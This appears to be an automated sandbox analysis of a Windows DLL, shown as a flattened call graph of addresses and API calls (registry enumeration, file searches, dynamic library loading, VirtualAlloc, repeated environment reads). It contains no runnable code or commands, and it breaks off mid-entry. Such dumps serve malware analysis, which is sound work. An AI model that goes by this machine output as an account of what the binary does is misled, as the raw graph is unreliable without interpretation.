6cb72730 41 API calls task 20682->20683 20683->20682 20685 6cb72961 std::ios_base::good 20684->20685 20686 6cb72970 20685->20686 20687 6cb72968 ExitProcess 20685->20687 20686->20660 20688->20663 20689->20672 20690->20667 20691 6cb81a23 20692 6cb81a2c 20691->20692 20693 6cb81b8b 20692->20693 20697 6cb81a40 20692->20697 20694 6cb73a70 43 API calls 20693->20694 20695 6cb81b9a 20694->20695 20696 6cb75040 43 API calls 20695->20696 20702 6cb81bab 20696->20702 20719 6cb74e30 43 API calls 3 library calls 20697->20719 20698 6cb72490 _Error_objects 43 API calls 20698->20702 20700 6cb81add 20720 6cb74e30 43 API calls 3 library calls 20700->20720 20702->20698 20706 6cb72730 41 API calls task 20702->20706 20710 6cb81c8f 20702->20710 20721 6cb74e30 43 API calls 3 library calls 20702->20721 20704 6cb81b6c 20705 6cb72730 task 41 API calls 20704->20705 20707 6cb81b77 20705->20707 20706->20702 20708 6cb72730 task 41 API calls 20707->20708 20709 6cb81b86 20708->20709 20711 6cb82553 20710->20711 20713 6cb73420 41 API calls 20710->20713 20712 6cb72750 __DllMainCRTStartup@12 41 API calls 20711->20712 20714 6cb8256b 20712->20714 20713->20711 20715 6cb72750 __DllMainCRTStartup@12 41 API calls 20714->20715 20716 6cb8257a 20715->20716 20717 6cb72730 task 41 API calls 20716->20717 20718 6cb82589 20717->20718 20719->20700 20720->20704 20721->20702 20722 6cb8ae63 20723 6cb8ae6c 20722->20723 20724 6cb8ae71 20722->20724 20743 6cb8b265 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter ___get_entropy 20723->20743 20728 6cb8ad2d 20724->20728 20729 6cb8ad39 __FrameHandler3::FrameUnwindToState 20728->20729 20730 6cb8ad62 dllmain_raw 20729->20730 20731 6cb8ad5d 20729->20731 20740 6cb8ad48 20729->20740 20732 6cb8ad7c dllmain_crt_dispatch 20730->20732 20730->20740 20744 6cb88190 20731->20744 20732->20731 20732->20740 20734 6cb8ad9d 20735 6cb8adce 20734->20735 20738 6cb88190 __DllMainCRTStartup@12 48 API calls 20734->20738 20736 6cb8add7 dllmain_crt_dispatch 20735->20736 20735->20740 20737 6cb8adea dllmain_raw 20736->20737 20736->20740 20737->20740 20739 6cb8adb5 20738->20739 20809 6cb8ac7d 95 API calls 4 library calls 20739->20809 20742 6cb8adc3 dllmain_raw 20742->20735 20743->20724 20745 6cb74f70 _Error_objects 43 API calls 20744->20745 20746 6cb881ac 20745->20746 20747 6cb74f70 _Error_objects 43 API calls 20746->20747 20748 6cb881b7 20747->20748 20749 6cb74f70 _Error_objects 43 API calls 20748->20749 20750 6cb881c2 20749->20750 20751 6cb74f70 _Error_objects 43 API calls 20750->20751 20752 6cb881cd 20751->20752 20753 6cb74f70 _Error_objects 43 API calls 20752->20753 20754 6cb881d8 20753->20754 20755 6cb74f70 _Error_objects 43 API calls 20754->20755 20756 6cb881e3 20755->20756 20757 6cb74f70 _Error_objects 43 API calls 20756->20757 20758 6cb881ee 20757->20758 20759 6cb74f70 _Error_objects 43 API calls 20758->20759 20760 6cb881f9 20759->20760 20761 6cb74f70 _Error_objects 43 API calls 20760->20761 20762 6cb88204 20761->20762 20763 6cb74f70 _Error_objects 43 API calls 20762->20763 20764 6cb8820f 20763->20764 20765 6cb74f70 _Error_objects 43 API calls 20764->20765 20766 6cb8821a 20765->20766 20767 6cb74f70 _Error_objects 43 API calls 20766->20767 20768 6cb88222 20767->20768 20769 6cb74f70 _Error_objects 43 API calls 20768->20769 20770 6cb8822a 20769->20770 20771 6cb74f70 _Error_objects 43 API calls 20770->20771 20772 6cb88232 __DllMainCRTStartup@12 20771->20772 20810 6cb8ebd0 20772->20810 20775 6cb88295 RegEnumKeyA lstrlenA 20775->20775 20776 6cb882ce 20775->20776 20777 6cb72750 __DllMainCRTStartup@12 41 API calls 20776->20777 20778 6cb882dd 20777->20778 20779 6cb72750 __DllMainCRTStartup@12 41 API calls 20778->20779 20780 6cb882e5 20779->20780 20781 6cb72730 task 41 API calls 20780->20781 20782 6cb882ed 20781->20782 20783 6cb72730 task 41 API calls 20782->20783 20784 6cb882f5 20783->20784 20785 6cb72730 task 41 API calls 20784->20785 20786 6cb882fd 20785->20786 20787 6cb72730 task 41 API calls 20786->20787 20788 6cb88308 20787->20788 20789 6cb72730 task 41 API calls 20788->20789 20790 6cb88313 20789->20790 20791 6cb72730 task 41 API calls 20790->20791 20792 6cb8831e 20791->20792 20793 6cb72730 task 41 API calls 20792->20793 20794 6cb88329 20793->20794 20795 6cb72730 task 41 API calls 20794->20795 20796 6cb88334 20795->20796 20797 6cb72730 task 41 API calls 20796->20797 20798 6cb8833f 20797->20798 20799 6cb72730 task 41 API calls 20798->20799 20800 6cb8834a 20799->20800 20801 6cb72730 task 41 API calls 20800->20801 20802 6cb88355 20801->20802 20803 6cb72730 task 41 API calls 20802->20803 20804 6cb88360 20803->20804 20805 6cb72730 task 41 API calls 20804->20805 20806 6cb8836b 20805->20806 20807 6cb72730 task 41 API calls 20806->20807 20808 6cb88376 20807->20808 20808->20734 20809->20742 20814 6cb91157 _unexpected 20810->20814 20811 6cb91195 20818 6cb913c9 14 API calls __dosmaperr 20811->20818 20812 6cb91180 RtlAllocateHeap 20812->20814 20815 6cb8824c GetModuleHandleA GetCurrentDirectoryA RegOpenKeyA 20812->20815 20814->20811 20814->20812 20817 6cb8f96f EnterCriticalSection LeaveCriticalSection allocator 20814->20817 20815->20775 20817->20814 20818->20815 20819 6cb8ab23 20820 6cb8ab2e 20819->20820 20821 6cb8ab61 20819->20821 20823 6cb8ab53 20820->20823 20824 6cb8ab33 20820->20824 20847 6cb8ac7d 95 API calls 4 library calls 20821->20847 20831 6cb8ab76 20823->20831 20826 6cb8ab38 20824->20826 20827 6cb8ab49 20824->20827 20829 6cb8ab3d 20826->20829 20845 6cb8a8d7 21 API calls 20826->20845 20846 6cb8a8b8 23 API calls 20827->20846 20832 6cb8ab82 __FrameHandler3::FrameUnwindToState 20831->20832 20848 6cb8a948 20832->20848 20834 6cb8abec ___scrt_is_nonwritable_in_current_image __FrameHandler3::FrameUnwindToState 20834->20829 20835 6cb8ab89 __DllMainCRTStartup@12 20835->20834 20836 6cb8abb0 20835->20836 20837 6cb8ac75 20835->20837 20859 6cb8a8aa 20836->20859 20864 6cb8b0a1 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter __FrameHandler3::FrameUnwindToState 20837->20864 20840 6cb8ac7c 20841 6cb8abbf __RTC_Initialize 20841->20834 20862 6cb8b2b0 InitializeSListHead 20841->20862 20843 6cb8abcd 20843->20834 20863 6cb8a87f IsProcessorFeaturePresent ___scrt_release_startup_lock 20843->20863 20845->20829 20846->20829 20847->20829 20849 6cb8a951 20848->20849 20865 6cb8aec0 IsProcessorFeaturePresent 20849->20865 20851 6cb8a95d 20866 6cb8d0f9 10 API calls 2 library calls 20851->20866 20853 6cb8a962 20858 6cb8a966 20853->20858 20867 6cb907fc 20853->20867 20855 6cb8a97d 20855->20835 20858->20835 20930 6cb8a981 20859->20930 20861 6cb8a8b1 20861->20841 20862->20843 20863->20834 20864->20840 20865->20851 20866->20853 20871 6cb9359e 20867->20871 20870 6cb8d12e 7 API calls 2 library calls 20870->20858 20872 6cb935ae 20871->20872 20873 6cb8a96f 20871->20873 20872->20873 20876 6cb93512 20872->20876 20888 6cb93462 20872->20888 20873->20855 20873->20870 20877 6cb9351e __FrameHandler3::FrameUnwindToState 20876->20877 20893 6cb91f77 EnterCriticalSection 20877->20893 20879 6cb93525 20894 6cb957df 20879->20894 20884 6cb9353e 20886 6cb93462 2 API calls 20884->20886 20885 6cb93554 20885->20872 20887 6cb93543 20886->20887 20908 6cb93569 LeaveCriticalSection __FrameHandler3::FrameUnwindToState 20887->20908 20889 6cb93469 20888->20889 20890 6cb934ac GetStdHandle 20889->20890 20891 6cb9350e 20889->20891 20892 6cb934bf GetFileType 20889->20892 20890->20889 20891->20872 20892->20889 20893->20879 20895 6cb957eb __FrameHandler3::FrameUnwindToState 20894->20895 20896 6cb95815 20895->20896 20897 6cb957f4 20895->20897 20909 6cb91f77 EnterCriticalSection 20896->20909 20917 6cb913c9 14 API calls __dosmaperr 20897->20917 20900 6cb957f9 20918 6cb8eb6f 41 API calls ___std_exception_copy 20900->20918 20902 6cb9584d 20919 6cb95874 LeaveCriticalSection __FrameHandler3::FrameUnwindToState 20902->20919 20905 6cb93534 20905->20887 20907 6cb933ac 44 API calls 20905->20907 20906 6cb95821 20906->20902 20910 6cb9572f 20906->20910 20907->20884 20908->20885 20909->20906 20920 6cb92007 20910->20920 20912 6cb9574e 20914 6cb91657 ___free_lconv_mon 14 API calls 20912->20914 20913 6cb95741 20913->20912 20927 6cb91a07 6 API calls _unexpected 20913->20927 20916 6cb957a3 20914->20916 20916->20906 20917->20900 20918->20905 20919->20905 20926 6cb92014 _unexpected 20920->20926 20921 6cb92054 20929 6cb913c9 14 API calls __dosmaperr 20921->20929 20922 6cb9203f RtlAllocateHeap 20923 6cb92052 20922->20923 20922->20926 20923->20913 20926->20921 20926->20922 20928 6cb8f96f EnterCriticalSection LeaveCriticalSection allocator 20926->20928 20927->20913 20928->20926 20929->20923 20931 6cb8a98d 20930->20931 20932 6cb8a991 20930->20932 20931->20861 20935 6cb8a99e ___scrt_release_startup_lock 20932->20935 20936 6cb8b0a1 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter __FrameHandler3::FrameUnwindToState 20932->20936 20934 6cb8aa07 20935->20861 20936->20934 20937 6cb901a7 20952 6cb92e31 20937->20952 20942 6cb901cf 20979 6cb90200 41 API calls 4 library calls 20942->20979 20943 6cb901c3 20944 6cb91657 ___free_lconv_mon 14 API calls 20943->20944 20946 6cb901c9 20944->20946 20947 6cb901d6 20948 6cb91657 ___free_lconv_mon 14 API calls 20947->20948 20949 6cb901f3 20948->20949 20950 6cb91657 ___free_lconv_mon 14 API calls 20949->20950 20951 6cb901f9 20950->20951 20953 6cb92e3a 20952->20953 20957 6cb901b8 20952->20957 20980 6cb90e87 41 API calls 3 library calls 20953->20980 20955 6cb92e5d 20981 6cb92c3c 51 API calls 4 library calls 20955->20981 20958 6cb93284 GetEnvironmentStringsW 20957->20958 20959 6cb9329c 20958->20959 20972 6cb901bd 20958->20972 20982 6cb93196 WideCharToMultiByte 20959->20982 20961 6cb932b9 20962 6cb932ce 20961->20962 20963 6cb932c3 FreeEnvironmentStringsW 20961->20963 20983 6cb91157 15 API calls 3 library calls 20962->20983 20963->20972 20965 6cb932d5 20966 6cb932dd 20965->20966 20967 6cb932ee 20965->20967 20968 6cb91657 ___free_lconv_mon 14 API calls 20966->20968 20984 6cb93196 WideCharToMultiByte 20967->20984 20970 6cb932e2 FreeEnvironmentStringsW 20968->20970 20970->20972 20971 6cb932fe 20973 6cb9330d 20971->20973 20974 6cb93305 20971->20974 20972->20942 20972->20943 20975 6cb91657 ___free_lconv_mon 14 API calls 20973->20975 20976 6cb91657 ___free_lconv_mon 14 API calls 20974->20976 20977 6cb9330b FreeEnvironmentStringsW 20975->20977 20976->20977 20977->20972 20979->20947 20980->20955 20981->20957 20982->20961 20983->20965 20984->20971 20985 6cb90f1d GetLastError 20986 6cb90f33 20985->20986 20989 6cb90f39 20985->20989 21013 6cb91986 6 API calls _unexpected 20986->21013 21005 6cb90f3d SetLastError 20989->21005 21008 6cb919c5 20989->21008 20992 6cb92007 _unexpected 12 API calls 20993 6cb90f6a 20992->20993 20994 6cb90f83 20993->20994 20995 6cb90f72 20993->20995 20996 6cb919c5 _unexpected 6 API calls 20994->20996 20997 6cb919c5 _unexpected 6 API calls 20995->20997 20998 6cb90f8f 20996->20998 20999 6cb90f80 20997->20999 21000 6cb90faa 20998->21000 21001 6cb90f93 20998->21001 21003 6cb91657 ___free_lconv_mon 12 API calls 20999->21003 21014 6cb90bce 14 API calls _unexpected 21000->21014 21002 6cb919c5 _unexpected 6 API calls 21001->21002 21002->20999 21003->21005 21006 6cb90fb5 21007 6cb91657 ___free_lconv_mon 12 API calls 21006->21007 21007->21005 21015 6cb91826 21008->21015 21011 6cb90f55 21011->20992 21011->21005 21012 6cb919ff TlsSetValue 21013->20989 21014->21006 21016 6cb91854 21015->21016 21017 6cb91850 21015->21017 21016->21017 21022 6cb9175b LoadLibraryExW GetLastError LoadLibraryExW FreeLibrary ___vcrt_FlsSetValue 21016->21022 21017->21011 21017->21012 21019 6cb91868 21019->21017 21020 6cb9186e GetProcAddress 21019->21020 21020->21017 21021 6cb9187e _unexpected 21020->21021 21021->21017 21022->21019 21023 6cb8861e 21024 6cb75040 43 API calls 21023->21024 21028 6cb8862c std::ios_base::good 21024->21028 21025 6cb88ca1 21026 6cb75040 43 API calls 21025->21026 21027 6cb88cb9 21026->21027 21029 6cb72920 4 API calls 21027->21029 21028->21025 21030 6cb73a70 43 API calls 21028->21030 21035 6cb88b07 21028->21035 21031 6cb88cc5 21029->21031 21032 6cb88aea 21030->21032 21033 6cb73a70 43 API calls 21031->21033 21034 6cb75040 43 API calls 21032->21034 21047 6cb88cdc 21033->21047 21036 6cb88af9 21034->21036 21035->21025 21038 6cb88b52 21035->21038 21037 6cb75040 43 API calls 21036->21037 21037->21035 21061 6cb74e30 43 API calls 3 library calls 21038->21061 21040 6cb88be0 21041 6cb72490 _Error_objects 43 API calls 21040->21041 21050 6cb88bf0 21041->21050 21042 6cb72490 _Error_objects 43 API calls 21044 6cb88dbd std::ios_base::good 21042->21044 21044->21042 21045 6cb72730 task 41 API calls 21044->21045 21046 6cb88e9d 21044->21046 21045->21044 21048 6cb88ffb 21046->21048 21059 6cb74e30 43 API calls 21046->21059 21060 6cb72730 41 API calls task 21046->21060 21047->21044 21049 6cb72730 task 41 API calls 21047->21049 21063 6cb74e30 43 API calls 3 library calls 21047->21063 21049->21047 21062 6cb74e30 43 API calls 3 library calls 21050->21062 21052 6cb88c7b 21053 6cb72730 task 41 API calls 21052->21053 21054 6cb88c86 21053->21054 21055 6cb72730 task 41 API calls 21054->21055 21056 6cb88c91 21055->21056 21057 6cb72730 task 41 API calls 21056->21057 21058 6cb88c9c 21057->21058 21059->21046 21060->21046 21061->21040 21062->21052 21063->21047 21064 6cb8561f 21065 6cb85635 21064->21065 21066 6cb85c8a 21065->21066 21067 6cb73a70 43 API calls 21065->21067 21068 6cb876f0 43 API calls 21066->21068 21069 6cb85c7e 21067->21069 21070 6cb85ca8 21068->21070 21071 6cb75040 43 API calls 21069->21071 21072 6cb876f0 43 API calls 21070->21072 21071->21066 21078 6cb85ceb 21072->21078 21073 6cb86059 21074 6cb73a70 43 API calls 21073->21074 21075 6cb86068 21074->21075 21076 6cb75040 43 API calls 21075->21076 21077 6cb86074 21076->21077 21079 6cb72750 __DllMainCRTStartup@12 41 API calls 21077->21079 21078->21073 21080 6cb72490 _Error_objects 43 API calls 21078->21080 21083 6cb72730 task 41 API calls 21078->21083 21081 6cb86089 21079->21081 21080->21078 21082 6cb72750 __DllMainCRTStartup@12 41 API calls 21081->21082 21084 6cb86095 21082->21084 21083->21078 21085 6cb72750 __DllMainCRTStartup@12 41 API calls 21084->21085 21086 6cb860a1 21085->21086 21087 6cb72730 task 41 API calls 21086->21087 21088 6cb860b0 21087->21088 21089 6cb711d0 21090 6cb71205 21089->21090 21091 6cb71234 21089->21091 21093 6cb71792 DefWindowProcA 21090->21093 21094 6cb71212 21090->21094 21092 6cb717c7 21091->21092 21102 6cb7122f 21091->21102 21095 6cb72490 _Error_objects 43 API calls 21092->21095 21227 6cb71783 21093->21227 21096 6cb7121c 21094->21096 21097 6cb71828 PostQuitMessage 21094->21097 21100 6cb717dd 21095->21100 21098 6cb71226 21096->21098 21099 6cb7181c DestroyWindow 21096->21099 21097->21227 21101 6cb71260 FindWindowA 21098->21101 21098->21102 21099->21227 21243 6cb742e0 21100->21243 21105 6cb71785 ExitProcess 21101->21105 21106 6cb7127a DestroyWindow 21101->21106 21103 6cb71832 DefWindowProcA 21102->21103 21102->21227 21103->21227 21229 6cb72520 21106->21229 21109 6cb72730 task 41 API calls 21109->21227 21110 6cb7128c GetEnvironmentStrings 21111 6cb72490 _Error_objects 43 API calls 21110->21111 21112 6cb712a2 21111->21112 21231 6cb73770 21112->21231 21115 6cb72730 task 41 API calls 21116 6cb712be GetEnvironmentStrings 21115->21116 21117 6cb72490 _Error_objects 43 API calls 21116->21117 21118 6cb712d0 21117->21118 21119 6cb73770 43 API calls 21118->21119 21120 6cb712e3 21119->21120 21121 6cb72730 task 41 API calls 21120->21121 21122 6cb712f2 GetEnvironmentStrings 21121->21122 21123 6cb72490 _Error_objects 43 API calls 21122->21123 21124 6cb71304 21123->21124 21125 6cb73770 43 API calls 21124->21125 21126 6cb71317 21125->21126 21127 6cb72730 task 41 API calls 21126->21127 21128 6cb71326 GetEnvironmentStrings 21127->21128 21129 6cb72490 _Error_objects 43 API calls 21128->21129 21130 6cb71338 21129->21130 21131 6cb73770 43 API calls 21130->21131 21132 6cb7134b 21131->21132 21133 6cb72730 task 41 API calls 21132->21133 21134 6cb7135a GetEnvironmentStrings 21133->21134 21135 6cb72490 _Error_objects 43 API calls 21134->21135 21136 6cb7136c 21135->21136 21137 6cb73770 43 API calls 21136->21137 21138 6cb7137f 21137->21138 21139 6cb72730 task 41 API calls 21138->21139 21140 6cb7138e GetEnvironmentStringsA 21139->21140 21141 6cb72490 _Error_objects 43 API calls 21140->21141 21142 6cb713a0 21141->21142 21143 6cb73770 43 API calls 21142->21143 21144 6cb713b3 21143->21144 21145 6cb72730 task 41 API calls 21144->21145 21146 6cb713c2 21145->21146 21147 6cb8ebd0 ___std_exception_copy 15 API calls 21146->21147 21148 6cb713cc GetSystemDirectoryA GetEnvironmentStrings 21147->21148 21149 6cb72490 _Error_objects 43 API calls 21148->21149 21150 6cb713f3 21149->21150 21151 6cb73770 43 API calls 21150->21151 21152 6cb71406 21151->21152 21153 6cb72730 task 41 API calls 21152->21153 21154 6cb71415 GetEnvironmentStringsA 21153->21154 21155 6cb72490 _Error_objects 43 API calls 21154->21155 21156 6cb71427 21155->21156 21157 6cb73770 43 API calls 21156->21157 21158 6cb7143a 21157->21158 21159 6cb72730 task 41 API calls 21158->21159 21160 6cb71449 GetEnvironmentStrings 21159->21160 21161 6cb72490 _Error_objects 43 API calls 21160->21161 21162 6cb7145b 21161->21162 21163 6cb73770 43 API calls 21162->21163 21164 6cb7146e 21163->21164 21165 6cb72730 task 41 API calls 21164->21165 21166 6cb7147d PathAppendA 21165->21166 21235 6cb8beb0 21166->21235 21169 6cb72490 _Error_objects 43 API calls 21170 6cb714b4 21169->21170 21171 6cb73770 43 API calls 21170->21171 21172 6cb714c7 21171->21172 21173 6cb72730 task 41 API calls 21172->21173 21174 6cb714d6 GetEnvironmentStringsA 21173->21174 21175 6cb72490 _Error_objects 43 API calls 21174->21175 21176 6cb714e8 21175->21176 21177 6cb73770 43 API calls 21176->21177 21178 6cb714fb 21177->21178 21179 6cb72730 task 41 API calls 21178->21179 21180 6cb7150a GetEnvironmentStrings 21179->21180 21181 6cb72490 _Error_objects 43 API calls 21180->21181 21182 6cb7151c 21181->21182 21183 6cb73770 43 API calls 21182->21183 21184 6cb7152f 21183->21184 21185 6cb72730 task 41 API calls 21184->21185 21186 6cb7153e FindFirstFileA 21185->21186 21187 6cb71552 FindNextFileA 21186->21187 21188 6cb7159d FindClose GetEnvironmentStrings 21187->21188 21198 6cb71567 21187->21198 21190 6cb72490 _Error_objects 43 API calls 21188->21190 21189 6cb72490 _Error_objects 43 API calls 21189->21198 21191 6cb715b9 21190->21191 21192 6cb73770 43 API calls 21191->21192 21194 6cb715cc 21192->21194 21193 6cb73770 43 API calls 21193->21198 21195 6cb72730 task 41 API calls 21194->21195 21197 6cb715db GetEnvironmentStrings 21195->21197 21196 6cb72730 task 41 API calls 21196->21198 21199 6cb72490 _Error_objects 43 API calls 21197->21199 21198->21187 21198->21189 21198->21193 21198->21196 21200 6cb715ed 21199->21200 21201 6cb73770 43 API calls 21200->21201 21202 6cb71600 21201->21202 21203 6cb72730 task 41 API calls 21202->21203 21204 6cb7160f GetEnvironmentStrings 21203->21204 21205 6cb72490 _Error_objects 43 API calls 21204->21205 21206 6cb71621 21205->21206 21207 6cb73770 43 API calls 21206->21207 21208 6cb71634 21207->21208 21209 6cb72730 task 41 API calls 21208->21209 21210 6cb71643 21209->21210 21211 6cb73420 41 API calls 21210->21211 21212 6cb7164b GetTickCount 21211->21212 21237 6cb737c0 21212->21237 21214 6cb71723 21215 6cb7175d 21214->21215 21240 6cb72800 21214->21240 21217 6cb73420 41 API calls 21215->21217 21220 6cb71765 21217->21220 21218 6cb716b1 LoadLibraryExA 21221 6cb7165e 21218->21221 21222 6cb72730 task 41 API calls 21220->21222 21221->21214 21221->21218 21223 6cb7170a SleepEx FreeLibrary 21221->21223 21224 6cb716df 21221->21224 21225 6cb71774 21222->21225 21223->21221 21228 6cb716f3 GetProcAddress 21224->21228 21226 6cb72750 __DllMainCRTStartup@12 41 API calls 21225->21226 21226->21227 21228->21223 21230 6cb7253c Concurrency::details::WorkQueue::PushStructured __DllMainCRTStartup@12 21229->21230 21230->21110 21232 6cb73780 swap 21231->21232 21252 6cb722a0 21232->21252 21236 6cb7149f GetEnvironmentStrings 21235->21236 21236->21169 21325 6cb72030 21237->21325 21241 6cb73320 _Error_objects 43 API calls 21240->21241 21242 6cb7173a SendMessageTimeoutA KiUserCallbackDispatcher 21241->21242 21242->21215 21339 6cb73820 21243->21339 21245 6cb74312 21345 6cb74380 21245->21345 21250 6cb72730 task 41 API calls 21251 6cb717ff 21250->21251 21251->21109 21253 6cb722c5 swap 21252->21253 21254 6cb722dc swap 21252->21254 21275 6cb71c30 43 API calls 2 library calls 21253->21275 21258 6cb71cc0 21254->21258 21257 6cb712b2 21257->21115 21259 6cb71ced task 21258->21259 21260 6cb71d43 21259->21260 21281 6cb731e0 43 API calls std::_Xinvalid_argument 21259->21281 21276 6cb73220 21260->21276 21263 6cb71d67 swap 21282 6cb72140 43 API calls 3 library calls 21263->21282 21265 6cb71db8 21266 6cb71dcf 21265->21266 21267 6cb71de9 21265->21267 21283 6cb73170 43 API calls 21266->21283 21284 6cb73110 43 API calls task 21267->21284 21270 6cb71dff 21285 6cb73110 43 API calls task 21270->21285 21272 6cb71de7 21286 6cb72b20 41 API calls 2 library calls 21272->21286 21274 6cb71e78 21274->21257 21275->21257 21287 6cb71eb0 21276->21287 21281->21260 21282->21265 21283->21272 21284->21270 21285->21272 21286->21274 21288 6cb71ecf 21287->21288 21289 6cb71eca 21287->21289 21291 6cb719c0 21288->21291 21298 6cb72e80 RaiseException stdext::threads::lock_error::lock_error std::_Xinvalid_argument 21289->21298 21292 6cb719c8 task 21291->21292 21293 6cb719e6 21292->21293 21294 6cb719d8 21292->21294 21295 6cb719e1 21293->21295 21307 6cb72a00 21293->21307 21299 6cb71a00 21294->21299 21295->21263 21298->21288 21300 6cb71a17 21299->21300 21301 6cb71a1c 21299->21301 21310 6cb72e80 RaiseException stdext::threads::lock_error::lock_error std::_Xinvalid_argument 21300->21310 21303 6cb72a00 allocator 16 API calls 21301->21303 21305 6cb71a25 21303->21305 21306 6cb71a40 21305->21306 21311 6cb8eb7f 41 API calls 2 library calls 21305->21311 21306->21295 21312 6cb8a7a3 21307->21312 21310->21301 21314 6cb8a7a8 21312->21314 21313 6cb8ebd0 ___std_exception_copy 15 API calls 21313->21314 21314->21313 21315 6cb72a0c 21314->21315 21318 6cb8a7c4 allocator 21314->21318 21322 6cb8f96f EnterCriticalSection LeaveCriticalSection allocator 21314->21322 21315->21295 21317 6cb8aea2 stdext::threads::lock_error::lock_error 21324 6cb8b501 RaiseException 21317->21324 21318->21317 21323 6cb8b501 RaiseException 21318->21323 21320 6cb8aebf 21322->21314 21323->21317 21324->21320 21326 6cb72046 _Error_objects 21325->21326 21329 6cb718d0 21326->21329 21328 6cb72078 21328->21221 21330 6cb71905 _Error_objects 21329->21330 21331 6cb73050 _Error_objects 43 API calls 21330->21331 21332 6cb7192b task 21331->21332 21335 6cb72bd0 21332->21335 21334 6cb7197f task 21334->21328 21336 6cb72bdf swap 21335->21336 21337 6cb72bfb 21335->21337 21338 6cb73350 _Error_objects 43 API calls 21336->21338 21337->21334 21338->21337 21340 6cb73835 std::ios_base::good _Error_objects 21339->21340 21342 6cb73858 21340->21342 21475 6cb731d0 43 API calls std::_Xinvalid_argument 21340->21475 21471 6cb738b0 21342->21471 21344 6cb7389b 21344->21245 21346 6cb8ebd0 ___std_exception_copy 15 API calls 21345->21346 21347 6cb74397 GetSystemDirectoryA CreateDirectoryA 21346->21347 21348 6cb743ca 21347->21348 21348->21348 21349 6cb74350 21348->21349 21350 6cb74414 21348->21350 21352 6cb73b50 21349->21352 21477 6cb73b20 GetTickCount64 GetTickCount64 21350->21477 21353 6cb72520 __DllMainCRTStartup@12 21352->21353 21354 6cb73b7b GetCommandLineA 21353->21354 21355 6cb72490 _Error_objects 43 API calls 21354->21355 21356 6cb73b91 21355->21356 21357 6cb73770 43 API calls 21356->21357 21358 6cb73ba1 21357->21358 21359 6cb72730 task 41 API calls 21358->21359 21360 6cb73bad GetCommandLineA 21359->21360 21361 6cb72490 _Error_objects 43 API calls 21360->21361 21362 6cb73bbc 21361->21362 21363 6cb73770 43 API calls 21362->21363 21364 6cb73bcc 21363->21364 21365 6cb72730 task 41 API calls 21364->21365 21366 6cb73bd8 GetCommandLineA 21365->21366 21367 6cb72490 _Error_objects 43 API calls 21366->21367 21368 6cb73c21 21367->21368 21369 6cb73770 43 API calls 21368->21369 21370 6cb73c34 21369->21370 21371 6cb72730 task 41 API calls 21370->21371 21372 6cb73c43 VirtualAlloc GetCommandLineA 21371->21372 21373 6cb72490 _Error_objects 43 API calls 21372->21373 21374 6cb73c7d 21373->21374 21375 6cb73770 43 API calls 21374->21375 21376 6cb73c90 21375->21376 21377 6cb72730 task 41 API calls 21376->21377 21435 6cb73c9f 21377->21435 21378 6cb742a6 21380 6cb72750 __DllMainCRTStartup@12 41 API calls 21378->21380 21383 6cb742c3 21380->21383 21381 6cb74031 GetCommandLineA 21384 6cb72490 _Error_objects 43 API calls 21381->21384 21382 6cb73fec 21382->21378 21382->21381 21383->21250 21385 6cb74072 21384->21385 21386 6cb73770 43 API calls 21385->21386 21387 6cb74085 21386->21387 21388 6cb72730 task 41 API calls 21387->21388 21389 6cb74094 GetCommandLineA 21388->21389 21391 6cb72490 _Error_objects 43 API calls 21389->21391 21390 6cb72730 task 41 API calls 21392 6cb73d16 GetCommandLineA 21390->21392 21393 6cb740a6 21391->21393 21394 6cb72490 _Error_objects 43 API calls 21392->21394 21395 6cb73770 43 API calls 21393->21395 21396 6cb73d28 21394->21396 21397 6cb740b9 21395->21397 21398 6cb73770 43 API calls 21396->21398 21401 6cb72730 task 41 API calls 21396->21401 21399 6cb72730 task 41 API calls 21397->21399 21398->21396 21400 6cb740c8 GetCommandLineA 21399->21400 21402 6cb72490 _Error_objects 43 API calls 21400->21402 21403 6cb73d4a GetCommandLineA 21401->21403 21405 6cb740da 21402->21405 21404 6cb72490 _Error_objects 43 API calls 21403->21404 21404->21435 21406 6cb73770 43 API calls 21405->21406 21407 6cb740ed 21406->21407 21408 6cb72730 task 41 API calls 21407->21408 21409 6cb740fc GetCommandLineA 21408->21409 21410 6cb72490 _Error_objects 43 API calls 21409->21410 21411 6cb7410e 21410->21411 21412 6cb73770 43 API calls 21411->21412 21414 6cb74121 21412->21414 21413 6cb73420 41 API calls 21413->21435 21418 6cb72730 task 41 API calls 21414->21418 21415 6cb73e16 GetCommandLineA 21417 6cb72490 _Error_objects 43 API calls 21415->21417 21416 6cb73dc1 GetCommandLineA 21419 6cb72490 _Error_objects 43 API calls 21416->21419 21420 6cb73e28 21417->21420 21421 6cb74130 GetCommandLineA 21418->21421 21419->21435 21422 6cb73770 43 API calls 21420->21422 21426 6cb72730 task 41 API calls 21420->21426 21423 6cb72490 _Error_objects 43 API calls 21421->21423 21422->21420 21425 6cb74175 21423->21425 21424 6cb73770 43 API calls 21424->21435 21427 6cb73770 43 API calls 21425->21427 21429 6cb73e4a GetCommandLineA 21426->21429 21430 6cb74188 21427->21430 21428 6cb72730 41 API calls task 21428->21435 21431 6cb72490 _Error_objects 43 API calls 21429->21431 21432 6cb72730 task 41 API calls 21430->21432 21433 6cb73e8b 21431->21433 21434 6cb74197 GetCommandLineA 21432->21434 21436 6cb73770 43 API calls 21433->21436 21440 6cb72730 task 41 API calls 21433->21440 21437 6cb72490 _Error_objects 43 API calls 21434->21437 21435->21382 21435->21390 21435->21413 21435->21415 21435->21416 21435->21424 21435->21428 21461 6cb72490 43 API calls _Error_objects 21435->21461 21478 6cb74480 44 API calls 21435->21478 21436->21433 21438 6cb741a9 21437->21438 21439 6cb73770 43 API calls 21438->21439 21441 6cb741bc 21439->21441 21442 6cb73ead GetCommandLineA 21440->21442 21443 6cb72730 task 41 API calls 21441->21443 21444 6cb72490 _Error_objects 43 API calls 21442->21444 21446 6cb741cb GetCommandLineA 21443->21446 21445 6cb73ef2 21444->21445 21447 6cb73770 43 API calls 21445->21447 21450 6cb72730 task 41 API calls 21445->21450 21448 6cb72490 _Error_objects 43 API calls 21446->21448 21447->21445 21449 6cb741dd 21448->21449 21451 6cb73770 43 API calls 21449->21451 21452 6cb73f14 GetCommandLineA 21450->21452 21453 6cb741f0 21451->21453 21454 6cb72490 _Error_objects 43 API calls 21452->21454 21455 6cb72730 task 41 API calls 21453->21455 21454->21435 21456 6cb741ff GetCommandLineA 21455->21456 21457 6cb72490 _Error_objects 43 API calls 21456->21457 21458 6cb74211 21457->21458 21459 